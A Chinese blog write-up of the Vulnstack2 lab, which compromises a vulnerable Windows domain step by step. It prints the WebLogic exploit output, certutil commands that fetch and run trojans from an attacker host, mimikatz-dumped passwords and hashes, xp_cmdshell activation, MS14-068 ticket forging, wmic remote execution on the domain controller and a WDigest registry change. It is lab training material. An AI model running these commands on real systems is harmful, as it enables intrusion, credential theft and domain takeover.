Yoga7xm's Blog

域渗透之Vulnstack2

字数统计: 1.8k阅读时长: 8 min
2019/12/03 Share

Abstract

红日安全出的第二套靶机,主要还是内网渗透的:传送门

【注】:Web这台机器的密码不是给出的那个密码,server08的机器利用替换osk.exe的方式将密码改了,然后进入C:\Oracle\Middleware\user_projects\domains\base_domain这个目录,运行bat文件来启动weblogic服务

还有一点,将本机的VMnet8的ip改为192.168.111.1

Web入侵

常规从web入手:192.168.111.80 然后扫一下端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
PORT      STATE SERVICE      VERSION
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2019-12-02T15:49:32
| Not valid after: 2049-12-02T15:49:32
| MD5: 3acd de46 da57 ca58 cfe4 7023 65f9 f4e3
|_SHA-1: e9dc 458e 8e07 30d5 520a c19b 2191 f6e7 5b3c 623d
|_ssl-date: 2019-12-03T04:47:15+00:00; -1s from scanner time.
3389/tcp open tcpwrapped
|_ssl-date: 2019-12-03T04:47:16+00:00; 0s from scanner time.
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC

1433和3389都开启了,而且很明显可以看到7001的weblogic,WeblogicScan扫描一波

存在CVE-2019-2725和CVE-2019-2729两个RCE,其实后者是对前者补丁的Bypass。

直接上EXP

1
2
3
4
5
6
7
8
9
➜  Weblogic git:(master) python3 weblogic_get_webshell.py http://192.168.111.80:7001/console/login/LoginForm
.jsp
http://192.168.111.80:7001/wls-wsat/CoordinatorPortType
whoami :
web\de1ay
http://192.168.111.80:7001/_async/.s8Jn4gWlqX2c592.jsp?cmd=whoami
Cookie:JSESSIONID=xFg5dlvTQ2XTN8SLsy0v74Cqqw6GzznnlnwxGYT8xwc98Trs11nq!967682009; path=/; HttpOnly
whoami:
web\de1ay

拿到shell地址,然后执行以下命令,反弹一个msf的shell

1
certutil -urlcache -split -f http://192.168.111.128/8000.exe C:\Oracle\Middleware\user_projects\domains\base_domain\8000.exe&&8000.exe

这个用户是普通权限,想要提权为System,首先尝试了msf自带的全部bypass模块,均无果.然后尝试了下k8tools工具包中的bypassUAC_Win7_10,将其上传至目标机器执行

用户创建成功说明Bypass了.后续的思路就是将该用户添加至管理员组,然后3389连接就行


尝试内核提权,先后尝试了ms16-075CVE-2018-8120也都失败了,但是最后的CVE-2017-0213还是没让我失望

1
2
3
4
5
6
7
8
9
10
11
12
13
14
COM Aggregate Marshaler/IRemUnknown2 Type Confusion EoP (CVE-2017-0213).
Code from project-zero, mod by zcgonvh.

[+] Building Library with path: script:C:\Oracle\Middleware\user_projects\domains\base_domain\run.sct
[+] Found TLB name at offset 0x2fe
[+] Opened Link \??\C: -> \Device\HarddiskVolume1\Oracle\Middleware\user_projects\domains\base_domain: 00000164
[+] wait for back connect....
[!] backdoor connected.
[+] send command [whoami].
[!] process with pid: 4208 created.
==============================
nt authority\system

[+] clear all files....

upload一个msf木马,再利用exp去执行,就返回了一个system权限的shell

上传mimikatz去获取hash和明文密码

1
2
3
4
5
6
7
8
9
10
11
* Username : mssql
* Domain : DE1AY
* Password : 1qaz@WSX

* Username : de1ay
* Domain : WEB
* Password : 1qaz@WSX

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

【注】这里有一点很奇怪,Web机器存在360,但是全程(包括弹shell和新建用户以及抓明文密码)没有任何反应…..

利用incognito模块查看目标机器中的Access Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > load incognito 
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
DE1AY\mssql
IIS APPPOOL\DefaultAppPool
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WEB\de1ay

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

很明显有个DE1AY域成员用户,但是msf直接用impersonate_tokensteal_token去窃取该用户的token都失败了….

这里复现一个小思路,利用system权限免密登录mssql

抓到了明文密码,直接rdp去连接该机器

通过msf上传Invoke-TokenManipulation.ps1incognito.exe

管理员身份打开cmd窗口,执行以下命令来窃取System Token进行登录

1
powershell.exe -exec bypass -Command "Import-Module .\Invoke-TokenManipulation.ps1;Invoke-TokenManipulation -CreateProcess 'C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\VSShell\Common7\IDE\Ssms.exe' -Username 'NT AUTHORITY\SYSTEM'"

执行成功后会弹出mssql的管理工具,直接点连接即可

打开xp_cmdshell组件,然后执行命令查看下当前用户权限

1
2
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell "whoami"

这时候360冒出来了….

我们直接允许操作并且勾上不再提醒

命令执行成功

上传一个msf木马,然后利用mssql去执行该木马,成功返回了DE1AY\mssql权限的shell

横向移动

查看所在内网段

1
2
3
4
5
6
meterpreter > run get_local_subnets 

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.10.10.0/255.255.255.0
Local subnet: 192.168.111.0/255.255.255.0

有两个网卡,都给加上路由。然后扫描存活主机

1
2
3
4
5
6
7
8
9
10
11
meterpreter > powershell_import /root/vulnstack2/Invoke-ARPScan.ps1
[+] File successfully imported. No result was returned.
meterpreter > powershell_shell
PS > Invoke-ARPScan -CIDR 10.10.10.0/24

MAC Address
--- -------
00:0C:29:25:A0:B6 10.10.10.10
00:0C:29:68:D3:69 10.10.10.80
00:0C:29:43:3E:0B 10.10.10.201
00:0C:29:68:D3:69 10.10.10.255

跳板机处在域de1ay.com中,可以进行简单的信息探测。参考: 内网渗透测试定位技术总结

1
2
3
4
5
DC:
dc.de1ay.com => 10.10.10.10
域成员机:
pc.delay.com => 10.10.10.201
web.delay.com => 10.10.10.80

想拿下PC机,扫了下端口,开放了3389、139、445等一些常规端口。

只能从3389下手了:

  • 检测发现存在MS17-010漏洞,但是利用的时候失败了….

  • 检测发现存在CVE-2019-0708,利用的时候也没反应…..

然后smb下手,ipc$被删了,使用wmi和psexec也都失败了…..最后用原版方程式工具利用成功了

导入powerview.ps1进行收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS > Get-NetUser | select name
name
----
Administrator
Guest
de1ay
krbtgt
MSSQL
PS > Get-NetUser | select objectsid
objectsid
---------
S-1-5-21-2756371121-2868759905-3853650604-500
S-1-5-21-2756371121-2868759905-3853650604-501
S-1-5-21-2756371121-2868759905-3853650604-1001
S-1-5-21-2756371121-2868759905-3853650604-502
S-1-5-21-2756371121-2868759905-3853650604-2103

撸域控,提示了MS14-068提权

这里我们先使用ms14-068.py生成TGT票据

1
proxychains python ms14-068.py -u mssql@de1ay.com -p "1qaz@WSX" -s S-1-5-21-2756371121-2868759905-3853650604-2103 -d 10.10.10.10

这里生成的是*.ccache文件,为了使用方便将其转换为kirbi格式

1
python /root/vulnstack2/pykek/KrbCredExport/KrbCredExport.py TGT_mssql@de1ay.com.ccache mssql.ticket

然后利用CS来将其导入

1
2
kerberos_ticket_purge
kerberos_ticket_use C:\Users\Yoga7xm\Desktop\mssql.ticket

但是失败了…

只能尝试其他方法了,好在使用wmic可以成功的建立一个cmd

使用dir \\dc.de1ay.com\c$的时候,居然有权限去列目录

使用wmic可以成功的建立一个cmd

文件传输,起初尝试使用IIS但是访问的时候没有数据返回,只能通过dir命令定位到webshell的路径,然后利用weblogic的服务传文件

1
2
3
C:\Windows\system32>dir c:\.s8Jn4gWlqX2c592.jsp /s /b
dir c:\.s8Jn4gWlqX2c592.jsp /s /b
c:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\.s8Jn4gWlqX2c592.jsp

将msf生成的正向木马upload至该目录,url为http://10.10.10.80:7001/_async/54631.exe.最终的payload为

1
wmic /node:10.10.10.10 /user:de1ay /password:1qaz@WSX process call create "cmd.exe /c certutil -urlcache -split -f http://10.10.10.80:7001/_async/54631.exe c:\users\de1ay\54631.exe&&c:\users\de1ay\54631.exe"

msf这里收到了shell

2012的机器,直接上烂土豆提权

接下来就是改注册表开启 WDigest 然后等待管理员上线抓取明文密码了(我这里直接注销掉机器,然后模拟管理员再次登录)

1
2
3
4
5
6
#修改注册表
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

#注销会话
query user
logoff id

至此已经拿下了全部的机器!!!

CATALOG
  1. 1. Abstract
  2. 2. Web入侵
  3. 3. 横向移动